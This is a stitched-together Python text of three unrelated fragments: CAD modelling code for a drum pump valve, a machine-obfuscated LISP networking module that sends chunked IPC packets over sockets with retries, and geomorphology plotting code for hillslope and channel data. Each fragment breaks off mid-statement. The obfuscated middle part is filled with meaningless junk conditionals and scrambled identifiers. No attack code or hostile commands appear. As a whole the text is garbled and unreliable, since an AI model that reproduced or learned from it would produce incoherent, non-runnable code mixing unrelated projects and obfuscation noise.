stage = Difference()(stage, self.pump_body.inner_body)
return stage
@property
def _outlet(self):
stage = Color(colorname="salmon")(self.stage)
base = Cylinder(r=self.stage_inner_radius, h=8, center=True)
base = Rotate(x=90)(base)
base = Translate(y=self.pump_body_inner_radius - 2)(base)
stage = Union()(stage, base)
#stage = Difference()(stage, self.pump_body.inner_body, self.valve_holes("outlet"))
return stage
@property
def inlet(self):
stage = Color(colorname="steelblue")(self.stage)
base = Pipe(iR=self.stage_inner_radius - 2, oR=self.stage_inner_radius, h=6, padding=1.2, center=True)
base = Rotate(x=90)(base)
base = Translate(y=self.pump_body_inner_radius - 2)(base)
stage = Union()(stage, base)
stage = Difference()(stage, self.pump_body.inner_body)
return stage
@property
def outlet(self):
stage = Color(colorname="salmon")(self.stage)
base = Pipe(iR=self.stage_inner_radius - 2, oR=self.stage_inner_radius, h=6, padding=1.2, center=True)
base = Rotate(x=90)(base)
base = Translate(y=self.pump_body_inner_radius - 2)(base)
stage = Union()(stage, base)
stage = Difference()(stage, self.pump_body.inner_body)
return stage
class ValvePlate(ValveBaseObject):
plate_thickness = 2
overlap = 2
plate_radius = ValveStage.stage_inner_radius
hole_radius_small = 1.7 / 2.0
hole_radius_large = 1.9 / 2.0 + 0.2
pre_load_height = 0.6
pre_load_inner_radius = 2.0
pre_load_radius = (15 / 2.0)
lug_length = plate_thickness + 1
lug_radius = 1.6
lug_radius = 1.0
wreath_radius = (12.325 / 2.0) - lug_radius * 2
@property
def plate(self):
plate = Cylinder(r=self.plate_radius, h=self.plate_thickness, center=True)
center_hole = Cylinder(r2=self.hole_radius_small, r1=self.hole_radius_large, h=self.plate_thickness + 0.05, center=True)
plate = Difference()(plate, center_hole)
pre_load = Pipe(ir=self.pre_load_inner_radius, oR=self.pre_load_radius, h=self.pre_load_height, padding=1.2, center=True)
pre_load = Rotate(x=90)(pre_load)
pre_load = Translate(y=(self.plate_thickness - self.pre_load_height) / 2.0 + 0.05)(pre_load)
lugs = LugWreath(lug_radius=self.lug_radius, wreath_radius=self.wreath_radius, lug_length=self.lug_length, lug_count=6)
lugs = Rotate(x=90)(lugs)
plate = Rotate(x=90)(plate)
#plate = Difference()(plate, pre_load, lugs)
plate = Difference()(plate, lugs)
return plate
class ValveHead(ValveBaseObject):
# inlet head
inlet_breech_length = 5
inlet_breech_radius = ValveStage.stage_radius
inlet_bore_length = ValveStage.stage_length + 1
inlet_bore_radius = ValveStage.stage_inner_radius
inlet_bore_inner_radius = ValveBaseObject.outlet_port_radius
#inlet_bore_thickness = inlet_bore_radius - inlet_bore_inner_radius
inlet_bore_thickness = 2
# outlet head
outlet_breech_length = 5
outlet_breech_radius = ValveStage.stage_radius
outlet_bore_length = ValveStage.stage_length + outlet_breech_length
outlet_bore_radius = ValveStage.stage_inner_radius
outlet_bore_thickness = 2
outlet_bore_inner_radius = outlet_bore_radius - outlet_bore_thickness
# lugs
lug_radius = ValveStage.lug_radius
lug_length = inlet_breech_length
lug_ring_radius = ValveBaseObject.pump_body_length / 2.0
lug_ring_inner_radius = inch2mm(.1590) / 2.0
@property
def lugs(self):
r = self.inlet_breech_radius + 2.0
lugs = LugWreath(wreath_radius=self.lug_radius, lug_length=self.lug_length, ring_radius=self.lug_ring_radius + 2, ring_inner_radius=self.lug_ring_inner_radius)
return lugs
@property
def outlet(self):
lugs = self.lugs
lugs = Translate(z=(self.outlet_bore_length - self.outlet_breech_length) / -2.0)(lugs)
chamfer = Chamfer(r=self.outlet_bore_radius, chamfer=2, invert=True, center=True)
chamfer = Translate(z=self.outlet_bore_length / 2.0)(chamfer)
bore = Pipe(oR=self.outlet_bore_radius, ir=self.outlet_bore_inner_radius, h=self.outlet_bore_length, padding=1.2, center=True)
bore = Difference()(bore, chamfer)
breech = Pipe(oR=self.outlet_breech_radius, ir=self.outlet_bore_inner_radius, h=self.outlet_breech_length, padding=1.2, center=True)
breech = Translate(z=(self.outlet_bore_length - self.outlet_breech_length) / -2.0)(breech)
head = Rotate(x=90)(bore, breech, lugs)
head = Color(colorname="red")(head)
return head
@property
def inlet(self):
lugs = self.lugs
lugs = Translate(z=(self.outlet_bore_length - self.outlet_breech_length) / -2.0)(lugs)
chamfer = Chamfer(r=self.outlet_bore_radius, chamfer=2, invert=True, center=True)
chamfer = Translate(z=self.outlet_bore_length / 2.0 + 2)(chamfer)
bore = Pipe(oR=self.inlet_bore_radius, ir=self.inlet_bore_inner_radius - 2, h=self.inlet_bore_length, padding=1.2, center=True)
bore = Translate(z=3)(bore)
bore = Difference()(bore, chamfer)
breech = Pipe(oR=self.inlet_breech_radius, ir=self.inlet_bore_inner_radius, h=self.inlet_breech_length, padding=1.2, center=True)
breech = Translate(z=(self.outlet_bore_length - self.outlet_breech_length) / -2.0)(breech)
head = Rotate(x=90)(bore, breech, lugs)
head = Color(colorname="blue")(head)
return head
@property
def inlet_debug(self):
debug = Union(debug=True)(ValveStage().inlet)
debug = Translate(x=60, y=-27.5)(debug)
plate = ValvePlate().plate
plate = Translate(y=-10.5, x=0)(plate)
head = Union()(debug, plate, self.inlet)
return head
class ValveFlap(ValveBaseObject):
flap_thickness = inch2mm(1/16.0)
flap_radius = ValveStage.stage_inner_radius * .95
cutout_radius = flap_radius - (ValveStage.valve_overlap / 2.0 * 1.2)
cutout_inner_radius = ValveBaseObject.outlet_port_radius * 1.3
cutout_neck_width = cutout_inner_radius
@property
def ver1_flap(self):
flap = Cylinder(r=self.flap_radius, h=self.flap_thickness, center=True)
cutout = Pipe(oR=self.cutout_radius, iR=self.cutout_inner_radius, h=self.flap_thickness * 1.2, center=True)
neck = cube(x=self.cutout_neck_width, y=self.flap_radius, z=self.flap_thickness * 1.2, center=True)
neck = Translate(y=self.flap_radius / 2.0)(neck)
cutout = Difference()(cutout, neck)
flap = Difference()(flap, cutout)
flap = Rotate(x=90)(flap)
return flap
@property
def ver2_flap(self):
flap = Cylinder(r=self.flap_radius, h=self.flap_thickness, center=True)
cutout = Pipe(oR=self.cutout_radius, iR=self.cutout_inner_radius, h=self.flap_thickness * 1.2, center=True)
neck = cube(x=self.cutout_neck_width - 2.5, y=self.flap_radius * 2, z=self.flap_thickness * 1.2, center=True)
#neck = Translate(y=self.flap_radius / 2.0)(neck)
cutout = Difference()(cutout, neck)
flap = Difference()(flap, cutout)
flap = Rotate(x=90)(flap)
return flap
@property
def inlet(self):
return self.ver2_flap
@property
def outlet(self):
return self.inlet
@property
def seal(self):
lugs = LugWreath(wreath_radius=ValveHead.lug_radius, lug_length=ValveHead.lug_length)
seal = Pipe(iR=ValveHead.inlet_bore_radius, oR=ValveHead.lug_ring_radius, h=self.flap_thickness, center=True, padding=1.2)
seal = Difference()(seal, lugs)
seal = Rotate(x=90)(seal)
return seal
class LugWreath(DrumPumpObject):
lug_count = 3
phase = 0
lug_length = 5
lug_inner_radius = 0
lug_radius = 2.0
wreath_radius = 3
ring_radius = 0
ring_inner_radius = 0
max_angle = 360.0
m3_nuts_top = False
m3_nuts_bottom = False
m3_nut_radius = 3.2
m3_nut_height = 2.5
@property
def wreath(self):
if self.max_angle < 360:
pie_slice = float(self.max_angle) / (self.lug_count - 1)
else:
pie_slice = float(self.max_angle) / self.lug_count
for idx in range(self.lug_count):
angle = self.phase + (pie_slice * idx)
| |
Oo0Ooo * OoOoOO00 % ooOoO0o * oO0o - OoO0O00
if 40 - 40: I11i . OoooooooOO * O0 / I1Ii111 + O0
if 97 - 97: ooOoO0o - ooOoO0o * OOooOOo % OoOoOO00 - OoOoOO00 - I1Ii111
if 52 - 52: O0 % iII111i
if 81 - 81: OoooooooOO % OoOoOO00 % Oo0Ooo - I1IiiI
if 43 - 43: o0oOOo0O0Ooo % o0oOOo0O0Ooo
if 48 - 48: O0
if 5 - 5: OOooOOo / i11iIiiIii . I11i % OOooOOo
if 1 - 1: II111iiii + O0 * OoOoOO00 / IiII . O0
def lisp_command_ipc ( packet , source ) :
return ( "command@" + str ( len ( packet ) ) + "@" + source + "@@" + packet )
if 87 - 87: IiII + I1IiiI
if 74 - 74: OoO0O00 + OoO0O00 % iII111i / I11i / O0
if 54 - 54: o0oOOo0O0Ooo / OoooooooOO * ooOoO0o . OoOoOO00 - I1Ii111
if 69 - 69: oO0o - OoO0O00
if 80 - 80: ooOoO0o + iIii1I11I1II1 . II111iiii + I1IiiI - oO0o % OoOoOO00
if 10 - 10: iIii1I11I1II1
if 44 - 44: OoOoOO00 * oO0o . I1ii11iIi11i + i11iIiiIii
if 85 - 85: I11i
if 36 - 36: ooOoO0o % OoO0O00
def lisp_api_ipc ( source , data ) :
return ( "api@" + str ( len ( data ) ) + "@" + source + "@@" + data )
if 1 - 1: OoooooooOO - OoOoOO00
if 35 - 35: I1Ii111
if 35 - 35: Oo0Ooo - iIii1I11I1II1 / i1IIi + OoO0O00 - OoooooooOO / i11iIiiIii
if 79 - 79: I1IiiI * ooOoO0o * ooOoO0o
if 92 - 92: iII111i % I1ii11iIi11i
if 16 - 16: oO0o
if 52 - 52: OoooooooOO % ooOoO0o - I1Ii111 * I11i
if 24 - 24: Ii1I + IiII + OoooooooOO / oO0o / I1IiiI + IiII
if 52 - 52: ooOoO0o
def lisp_ipc ( packet , send_socket , node ) :
if 38 - 38: OoO0O00 + I1IiiI % IiII
if 87 - 87: oO0o * Ii1I - I1Ii111 / oO0o
if 65 - 65: OoOoOO00
if 87 - 87: I11i - i11iIiiIii - OOooOOo . OoOoOO00 + IiII . OoO0O00
if ( lisp_is_running ( node ) == False ) :
lprint ( "Suppress sending IPC to {}" . format ( node ) )
return
if 70 - 70: iIii1I11I1II1 % OoooooooOO / OoO0O00 . O0 - I11i % II111iiii
if 84 - 84: OOooOOo * i1IIi . iIii1I11I1II1 * iII111i + I1Ii111 + II111iiii
o00OOoOo = 1500 if ( packet . find ( "control-packet" ) == - 1 ) else 9000
if 98 - 98: II111iiii * OoooooooOO % oO0o - iII111i
oOO0OO0O = 0
I1I1 = len ( packet )
OOO00 = 0
o0ooO0 = .001
while ( I1I1 > 0 ) :
oOo0oOO0OO0 = min ( I1I1 , o00OOoOo )
IiII11iIi = packet [ oOO0OO0O : oOo0oOO0OO0 + oOO0OO0O ]
if 93 - 93: OoO0O00 / OoOoOO00
try :
send_socket . sendto ( IiII11iIi , node )
lprint ( "Send IPC {}-out-of-{} byte to {} succeeded" . format ( len ( IiII11iIi ) , len ( packet ) , node ) )
if 15 - 15: OoO0O00 . iII111i * I1ii11iIi11i / I1IiiI - i1IIi
OOO00 = 0
o0ooO0 = .001
if 58 - 58: IiII / OOooOOo % Ii1I * OOooOOo
except socket . error , I1i11II :
if ( OOO00 == 12 ) :
lprint ( "Giving up on {}, consider it down" . format ( node ) )
break
if 18 - 18: I1IiiI % iII111i / iII111i
if 10 - 10: OoOoOO00 . II111iiii
lprint ( "Send IPC {}-out-of-{} byte to {} failed: {}" . format ( len ( IiII11iIi ) , len ( packet ) , node , I1i11II ) )
if 25 - 25: O0 % OoO0O00 * OoooooooOO . OoOoOO00 / oO0o / o0oOOo0O0Ooo
if 20 - 20: i1IIi . I1IiiI + i11iIiiIii . iIii1I11I1II1 / O0
OOO00 += 1
time . sleep ( o0ooO0 )
if 3 - 3: Oo0Ooo + OoOoOO00 - ooOoO0o % ooOoO0o / O0
lprint ( "Retrying after {} ms ..." . format ( o0ooO0 * 1000 ) )
o0ooO0 *= 2
continue
if 16 - 16: OOooOOo % Oo0Ooo * I1ii11iIi11i . iII111i . iIii1I11I1II1 * i1IIi
if 81 - 81: OoOoOO00
oOO0OO0O += oOo0oOO0OO0
I1I1 -= oOo0oOO0OO0
if 52 - 52: iII111i * IiII % I1IiiI * I11i
return
if 73 - 73: I1Ii111 * ooOoO0o
if 62 - 62: OOooOOo . I1IiiI * iIii1I11I1II1 + OoO0O00 * ooOoO0o / oO0o
if 14 - 14: iII111i / OoO0O00
if 75 - 75: IiII
if 68 - 68: IiII - i1IIi % IiII . OoO0O00 . i11iIiiIii . OoooooooOO
if 32 - 32: iII111i + OoO0O00 % IiII + I1IiiI
if 69 - 69: I1Ii111 + I11i - iIii1I11I1II1 - II111iiii . Ii1I
def lisp_format_packet ( packet ) :
packet = binascii . hexlify ( packet )
oOO0OO0O = 0
IIi1i1iI11I11 = ""
I1I1 = len ( packet ) * 2
while ( oOO0OO0O < I1I1 ) :
IIi1i1iI11I11 += packet [ oOO0OO0O : oOO0OO0O + 8 ] + " "
oOO0OO0O += 8
I1I1 -= 4
if 74 - 74: I1ii11iIi11i % o0oOOo0O0Ooo + O0 - i11iIiiIii - IiII % OOooOOo
return ( IIi1i1iI11I11 )
if 39 - 39: OoO0O00 - o0oOOo0O0Ooo
if 71 - 71: iII111i . OoO0O00 + ooOoO0o - OOooOOo - Oo0Ooo
if 100 - 100: OoooooooOO - o0oOOo0O0Ooo + I1Ii111 . OoooooooOO % i11iIiiIii
if 64 - 64: I1Ii111 % OoooooooOO / i1IIi / OoO0O00
if 2 - 2: I11i % o0oOOo0O0Ooo . OoO0O00 . OoO0O00
if 89 - 89: ooOoO0o - oO0o + II111iiii + OoO0O00 - IiII
if 27 - 27: I1Ii111 - o0oOOo0O0Ooo + OoO0O00
def lisp_send ( lisp_sockets , dest , port , packet ) :
IIiIIi = lisp_sockets [ 0 ] if dest . is_ipv4 ( ) else lisp_sockets [ 1 ]
if 67 - 67: i1IIi % I1Ii111 / i11iIiiIii . OoO0O00 - I1ii11iIi11i
if 15 - 15: o0oOOo0O0Ooo . OoO0O00 * i1IIi % I11i % OoOoOO00
if 25 - 25: OoOoOO00 . iIii1I11I1II1 - iII111i % II111iiii . OoOoOO00
if 16 - 16: OOooOOo . Oo0Ooo . I1IiiI % O0 . I1ii11iIi11i + i11iIiiIii
if 100 - 100: I1ii11iIi11i - i1IIi - OoO0O00 * o0oOOo0O0Ooo + OoOoOO00
if 31 - 31: i1IIi
if 21 - 21: o0oOOo0O0Ooo / O0 % O0 . OoooooooOO / I1IiiI
if 94 - 94: ooOoO0o + OoO0O00 / ooOoO0o - ooOoO0o + Oo0Ooo + o0oOOo0O0Ooo
if 50 - 50: oO0o . Oo0Ooo
if 15 - 15: Ii1I
if 64 - 64: OoooooooOO
if 25 - 25: IiII
oOOOOO0Ooooo = dest . print_address_no_iid ( )
if ( oOOOOO0Ooooo . find ( "::ffff:" ) != - 1 and oOOOOO0Ooooo . count ( "." ) == 3 ) :
if ( lisp_i_am_rtr ) : IIiIIi = lisp_sockets [ 0 ]
if ( IIiIIi == None ) :
IIiIIi = lisp_sockets [ 0 ]
oOOOOO0Ooooo = oOOOOO0Ooooo . split ( "::ffff:" ) [ - 1 ]
if 29 - 29: OoOoOO00 % ooOoO0o * OoooooooOO
if 8 - 8: i11iIiiIii - I1Ii111 / IiII
if 17 - 17: i11iIiiIii * OoO0O00 . o0oOOo0O0Ooo . OoooooooOO . OoOoOO00 - I1ii11iIi11i
lprint ( "{} {} bytes {} {}, packet: {}" . format ( bold ( "Send" , False ) ,
len ( packet ) , bold ( "to " + oOOOOO0Ooooo , False ) , port ,
lisp_format_packet ( packet ) ) )
if 78 - 78: I1ii11iIi11i - OoooooooOO + O0
if 15 - 15: I1ii11iIi11i / IiII % I1IiiI
if 16 - 16: Ii1I
if 26 - 26: o0oOOo0O0Ooo / I11i + OoOoOO00 / OoOoOO00
i111ii1I111Ii = ( | |
"""
# load the channel data
ChannelData = ReadChannelData(DataDirectory, FilenamePrefix)
# load the hillslopes data
HillslopeData = ReadHillslopeData(DataDirectory, FilenamePrefix)
# isolate basin data
BasinChannelData = ChannelData[ChannelData.basin_key == BasinID]
BasinJunctions = HillslopeData.BasinID.unique()
BasinHillslopeData = HillslopeData[HillslopeData.BasinID == BasinJunctions[BasinID]]
MinimumDistance = BasinChannelData.flow_distance.min()
MaximumDistance = BasinChannelData.flow_distance.max()
MaximumMChi = BasinChannelData.m_chi.max()
# how many segments are we dealing with?
Segments = BasinChannelData.segment_number.unique()
# separate into main stem and trib data
MainStemChannelData = BasinChannelData[BasinChannelData.source_key == 0]
MainStemSegments = MainStemChannelData.segment_number.unique()
# set up the figure
Fig = CreateFigure()
Ax = plt.subplot(111)
#choose colormap
ColourMap = cm.viridis
# loop through the channel data and get the E* and R* for this distance upstream.
MainStemLh = []
MainStemDist = []
TribsLh = []
TribsRStar = []
TribsDist = []
for i in range (0, len(Segments)):
SegmentHillslopeData = BasinHillslopeData[BasinHillslopeData.StreamID == Segments[i]]
SegmentChannelData = BasinChannelData[BasinChannelData.segment_number == Segments[i]]
if SegmentHillslopeData.size != 0:
if Segments[i] in MainStemSegments:
MainStemLh.append(SegmentHillslopeData.Lh.mean())
MainStemDist.append(SegmentChannelData.flow_distance.median()/1000)
else:
TribsLh.append(SegmentHillslopeData.Lh.mean())
TribsDist.append(SegmentChannelData.flow_distance.median()/1000)
#Ax.plot(ModelEStar,ModelRStar, c='k')
Ax.scatter(MainStemDist,MainStemLh, c = 'k', s=10, edgecolors='k', lw=0.1,cmap=ColourMap)
# Ax.scatter(TribsEStar,TribsRStar,c=TribsDist,s=10, edgecolors='k', lw=0.1,cmap=ColourMap)
# Ax.set_xscale('log')
# Ax.set_yscale('log')
plt.xlabel('Distance from outlet (km)')
plt.ylabel('$L_h$')
# plt.subplots_adjust(left=0.18,right=0.85, bottom=0.2, top=0.9)
# CAx = Fig.add_axes([0.86,0.2,0.02,0.7])
# m = cm.ScalarMappable(cmap=ColourMap)
# m.set_array(MainStemDist)
# plt.colorbar(m, cax=CAx,orientation='vertical', label='$E*$')
#Ax.set_ylim(-20,1)
#plt.text(-0.2,-0.3,'Basin ID ' + str(BasinID),transform = Ax.transAxes,color=[0.35,0.35,0.35])
plt.tight_layout()
#save output
plt.savefig(PlotDirectory+FilenamePrefix + "_" + str(BasinID) + "_Lh_dist.png", dpi=300)
plt.clf()
def PlotHillslopeDataVsDistance(DataDirectory, FilenamePrefix, PlotDirectory, BasinID):
"""
This function makes some composite plots of the hillslope data vs
distance upstream from the outlet
Author: FJC
"""
# load the channel data
ChannelData = ReadChannelData(DataDirectory, FilenamePrefix)
#print BasinChannelData
# load the hillslopes data
HillslopeData = ReadHillslopeData(DataDirectory, FilenamePrefix)
# isolate basin data
BasinChannelData = ChannelData[ChannelData.basin_key == BasinID]
BasinJunctions = HillslopeData.BasinID.unique()
BasinHillslopeData = HillslopeData[HillslopeData.BasinID == BasinJunctions[BasinID]]
MinimumDistance = BasinChannelData.flow_distance.min()
MaximumDistance = BasinChannelData.flow_distance.max()
MaximumMChi = BasinChannelData.m_chi.max()
# how many segments are we dealing with?
Segments = BasinChannelData.segment_number.unique()
# separate into main stem and trib data
MainStemChannelData = BasinChannelData[BasinChannelData.source_key == 0]
MainStemSegments = MainStemChannelData.segment_number.unique()
#choose colormap
ColourMap = cm.viridis
# loop through the channel data and get the E* and R* for this distance upstream.
DistanceFromOutlet = []
Lh = []
Lh_std = []
Cht = []
Cht_std = []
R_star = []
R_star_std = []
E_star = []
E_star_std = []
M_chi = []
M_chi_std = []
for i in range (0, len(Segments)):
SegmentHillslopeData = BasinHillslopeData[BasinHillslopeData.StreamID == Segments[i]]
SegmentChannelData = BasinChannelData[BasinChannelData.segment_number == Segments[i]]
if SegmentHillslopeData.size != 0:
# only analysing segments directly connected to the main stem
if Segments[i] in MainStemSegments:
DistanceFromOutlet.append(SegmentChannelData.flow_distance.median()/1000)
Lh.append(SegmentHillslopeData.Lh.mean())
Lh_std.append(SegmentHillslopeData.Lh.std())
Cht.append(SegmentHillslopeData.Cht.mean())
Cht_std.append(SegmentHillslopeData.Cht.std())
R_star.append(SegmentHillslopeData.R_Star.mean())
R_star_std.append(SegmentHillslopeData.R_Star.std())
E_star.append(SegmentHillslopeData.E_Star.mean())
E_star_std.append(SegmentHillslopeData.E_Star.std())
M_chi.append(SegmentChannelData.m_chi.mean())
M_chi_std.append(SegmentChannelData.m_chi.std())
# set up the figure
fig, ax = plt.subplots(nrows = 4, ncols=1, sharex=True, figsize=(6,7))
# Remove horizontal space between axes
fig.subplots_adjust(hspace=0)
# plot the hillslope length
print DistanceFromOutlet
ax[0].errorbar(DistanceFromOutlet,Lh,yerr=Lh_std,fmt='o', ecolor='0.5',markersize=5,mec='k')
ax[0].set_ylabel('$L_h$')
#plot the cht
ax[1].errorbar(DistanceFromOutlet,Cht,yerr=Cht_std,fmt='o', ecolor='0.5',markersize=5,mfc='red',mec='k')
ax[1].set_ylabel('$C_{HT}$')
#plot the R*
ax[2].errorbar(DistanceFromOutlet,R_star,yerr=R_star_std,fmt='o', ecolor='0.5',markersize=5,mfc='orange',mec='k')
ax[2].set_ylabel('$R*$')
#plot the R*
ax[3].errorbar(DistanceFromOutlet,M_chi,yerr=M_chi_std,fmt='o', ecolor='0.5',markersize=5,mfc='purple',mec='k')
ax[3].set_ylabel('$k_{sn}$')
# set the axes labels
ax[3].set_xlabel('Distance from outlet (km)')
plt.tight_layout()
#save output
plt.savefig(PlotDirectory+FilenamePrefix + "_" + str(BasinID) + "_hillslopes_distance.png", dpi=300)
#plt.clf()
def PlotHillslopeDataWithBasins(DataDirectory,FilenamePrefix,PlotDirectory):
"""
Function to make plots of hillslope data vs basin id.
Martin probably has nice versions of this but I need something
quick for my poster
Author: FJC
"""
# load the channel data
ChannelData = ReadChannelData(DataDirectory, FilenamePrefix)
#print BasinChannelData
# load the hillslopes data
HillslopeData = ReadHillslopeData(DataDirectory, FilenamePrefix)
basin_dict = MapBasinKeysToJunctions(DataDirectory,FilenamePrefix)
basin_keys = basin_dict.keys()
median_cht = []
cht_lower_err = []
cht_upper_err = []
median_Lh = []
Lh_lower_err = []
Lh_upper_err = []
median_Rstar = []
Rstar_lower_err = []
Rstar_upper_err = []
median_Estar = []
Estar_lower_err = []
Estar_upper_err = []
median_mchi = []
mchi_lower_err = []
mchi_upper_err = []
for key, jn in basin_dict.iteritems():
BasinHillslopeData = HillslopeData[HillslopeData.BasinID == jn]
BasinChannelData = ChannelData[ChannelData.basin_key == key]
# now get all the hillslope data for this basin
this_median = abs(BasinHillslopeData.Cht.median())
median_cht.append(this_median)
cht_lowerP = np.percentile(BasinHillslopeData.Cht, 16)
cht_upperP = np.percentile(BasinHillslopeData.Cht, 84)
cht_lower_err.append(this_median-abs(cht_upperP)) # these are the opposite way round because
cht_upper_err.append(abs(cht_lowerP)-this_median) # I am inverting the axis to show positive Chts
this_median = BasinHillslopeData.Lh.median()
median_Lh.append(this_median)
Lh_lowerP = np.percentile(BasinHillslopeData.Lh, 16)
Lh_upperP = np.percentile(BasinHillslopeData.Lh, 84)
Lh_lower_err.append(this_median-Lh_lowerP)
Lh_upper_err.append(Lh_upperP-this_median)
this_median = BasinHillslopeData.R_Star.median()
median_Rstar.append(this_median)
Rstar_lowerP = np.percentile(BasinHillslopeData.R_Star, 16)
Rstar_upperP = np.percentile(BasinHillslopeData.R_Star, 84)
Rstar_lower_err.append(this_median-Rstar_lowerP)
Rstar_upper_err.append(Rstar_upperP-this_median)
this_median = BasinHillslopeData.E_Star.median()
median_Estar.append(this_median)
Estar_lowerP = np.percentile(BasinHillslopeData.E_Star, 16)
Estar_upperP = np.percentile(BasinHillslopeData.E_Star, 84)
Estar_lower_err.append(this_median-Estar_lowerP)
Estar_upper_err.append(Estar_upperP-this_median)
# get the channel data
this_median = BasinChannelData.m_chi.median()
median_mchi.append(this_median)
mchi_lowerP = np.percentile(BasinChannelData.m_chi, 16)
mchi_upperP = np.percentile(BasinChannelData.m_chi, 84)
mchi_lower_err.append(this_median-mchi_lowerP)
mchi_upper_err.append(mchi_upperP-this_median)
# set up the figure
fig, ax = plt.subplots(nrows = 6, ncols=1, sharex=True, figsize=(6,10), facecolor='white')
# Remove horizontal space between axes
fig.subplots_adjust(hspace=0)
# plot the hillslope length
ax[0].errorbar(basin_keys,median_Lh,yerr=[Lh_lower_err, Lh_upper_err],fmt='o', ecolor='0.5',markersize=5,mec='k')
ax[0].set_ylabel('$L_h$')
#plot the cht
ax[1].errorbar(basin_keys,median_cht,yerr=[cht_lower_err, cht_upper_err],fmt='o', ecolor='0.5',markersize=5,mfc='red',mec='k')
ax[1].set_ylabel('$C_{HT}$')
#plot the R*
ax[2].errorbar(basin_keys,median_Rstar,yerr=[Rstar_lower_err, Rstar_upper_err],fmt='o', ecolor='0.5',markersize=5,mfc='orange',mec='k')
ax[2].set_ylabel('$R*$')
#plot the Mchi
ax[3].errorbar(basin_keys,median_mchi,yerr=[mchi_lower_err, mchi_upper_err],fmt='o', ecolor='0.5',markersize=5,mfc='purple',mec='k')
ax[3].set_ylabel('$k_{sn}$')
# read the uplift data in
# read in the csv
uplift_df = pd.read_csv(DataDirectory+'MTJ_basin_uplift.csv')
dd_df = pd.read_csv(DataDirectory+FilenamePrefix+'_basin_dd.csv')
# get the drainage density
drainage_density = dd_df['drainage_density']
ax[4].scatter(basin_keys, drainage_density, c='k', edgecolors='k', s=20)
ax[4].set_ylim(np.min(drainage_density)-0.001, np.max(drainage_density)+0.001)
ax[4].set_ylabel('Drainage density (m/m$^2$)')
# get the data
uplift_rate = uplift_df['Uplift_rate']
ax[5].plot(basin_keys, uplift_rate, c='k', ls='--')
ax[5].set_ylabel('Uplift rate (mm/yr)')
# set the axes labels
ax[5].set_xlabel('Basin ID')
plt.xticks(np.arange(min(basin_keys), max(basin_keys)+1, 1))
plt.tight_layout()
#save output
plt.savefig(PlotDirectory+FilenamePrefix +"_basin_hillslope_data.png", dpi=300)
plt.clf()
output_list = [('basin_keys', basin_keys),
('uplift_rate', uplift_rate),
('Lh_median', median_Lh),
('Lh_lower_err', Lh_lower_err),
('Lh_upper_err', Lh_upper_err),
('cht_median', median_cht),
('cht_lower_err', cht_lower_err),
('cht_upper_err', cht_upper_err),
('Rstar_median', median_Rstar),
('Rstar_lower_err', Rstar_lower_err),
('Rstar_upper_err', Rstar_upper_err),
('Estar_median', median_Estar),
('Estar_lower_err', Estar_lower_err),
('Estar_upper_err', Estar_upper_err),
('mchi_median', median_mchi),
('mchi_lower_err', mchi_lower_err),
('mchi_upper_err', mchi_upper_err),
('drainage_density', drainage_density)]
# write output to csv
OutDF = pd.DataFrame.from_items(output_list)
csv_outname = PlotDirectory+FilenamePrefix+'_basin_hillslope_data.csv'
OutDF.to_csv(csv_outname,index=False)
def PlotHillslopeDataWithBasinsFromCSV(DataDirectory, FilenamePrefix):
"""
Function to make same plot as above but read data from csv
with the extension '_hillslope_means.csv'
Author: FJC
Will clean this up after AGU
"""
input_csv = DataDirectory+FilenamePrefix+'_hillslope_means.csv'
df = pd.read_csv(input_csv)
# set up the figure
fig, ax = plt.subplots(nrows = 5, ncols=1, sharex=True, figsize=(6,10))
# Remove horizontal space between axes
fig.subplots_adjust(hspace=0)
# plot the hillslope length
ax[0].errorbar(df['basin_keys'],df['Lh_mean'],yerr=df['Lh_std'],fmt='o', ecolor='0.5',markersize=5,mec='k')
ax[0].set_ylabel('$L_h$')
#plot the cht
ax[1].errorbar(df['basin_keys'],df['Cht_mean'],yerr=df['Cht_std'],fmt='o', ecolor='0.5',markersize=5,mfc='red',mec='k')
ax[1].set_ylabel('$C_{HT}$')
#plot the R*
ax[2].errorbar(df['basin_keys'],df['R_star_mean'],yerr=df['R_star_std'],fmt='o', ecolor='0.5',markersize=5,mfc='orange',mec='k')
ax[2].set_ylabel('$R*$')
#plot the Mchi
ax[3].errorbar(df['basin_keys'],df['M_chi_mean'],yerr=df['M_chi_std'],fmt='o', ecolor='0.5',markersize=5,mfc='purple',mec='k')
ax[3].set_ylabel('$k_{sn}$')
ax[4].plot(df['basin_keys'], df['uplift_rate'], c='k', ls='--')
ax[4].set_ylabel('Uplift rate (mm/yr)')
# set the axes labels
ax[4].set_xlabel('Basin ID')
plt.xticks(np.arange(min(df['basin_keys']), max(df['basin_keys'])+1, 1))
plt.tight_layout()
#save output
plt.savefig(DataDirectory+FilenamePrefix +"_mean_hillslope_data.png", dpi=300)
plt.clf()
def PlotBasinDataAgainstUplift(DataDirectory, FilenamePrefix, PlotDirectory):
"""
Function to plot mean basin data as a function of uplift rate
using the hillslope means csv file
Args:
DataDirectory (str): the data directory
FilenamePrefix (str): the file name prefix
PlotDirectory (str): directory to save the plots
Author: FJC
"""
input_csv = PlotDirectory+FilenamePrefix+'_basin_hillslope_data.csv'
df = pd.read_csv(input_csv)
print df['uplift_rate']
# set up the figure
fig, ax = plt.subplots(nrows=3, ncols=2, sharex=True, figsize=(10,10))
# Remove horizontal space between axes
fig.subplots_adjust(hspace=0)
ax = ax.ravel()
print ax[0]
# plot the hillslope length
ax[0].errorbar(df['uplift_rate'],df['Lh_median'],yerr=[df['Lh_lower_err'], df['Lh_upper_err']],fmt='o', ecolor='0.5',markersize=5,mec='k', mfc='blue')
ax[0].set_ylabel('Hillslope length ($L_h$)')
#plot the cht
ax[1].errorbar(df['uplift_rate'],df['cht_median'],yerr=[df['cht_lower_err'], df['cht_upper_err']],fmt='o', ecolor='0.5',markersize=5,mfc='red',mec='k')
ax[1].set_ylabel('Hilltop curvature ($C_{HT}$)')
#plot the R*
ax[2].errorbar(df['uplift_rate'],df['Rstar_median'],yerr=[df['Rstar_lower_err'], df['Rstar_upper_err']],fmt='o', ecolor='0.5',markersize=5,mfc='orange',mec='k')
ax[2].set_ylabel('Relief ($R*$)')
#plot the Mchi
ax[3].errorbar(df['uplift_rate'],df['mchi_median'],yerr=[df['mchi_lower_err'], df['mchi_upper_err']],fmt='o', ecolor='0.5',markersize=5,mfc='purple',mec='k')
ax[3].set_ylabel('Channel steepness ($k_{sn}$)')
ax[4].scatter(df['uplift_rate'], df['drainage_density'], c='k')
ax[4].set_ylabel('Drainage densiy (m/m$^2$)')
ax[4].set_ylim(np.min(df['drainage_density'])-0.001, np.max(df['drainage_density'])+0.001)
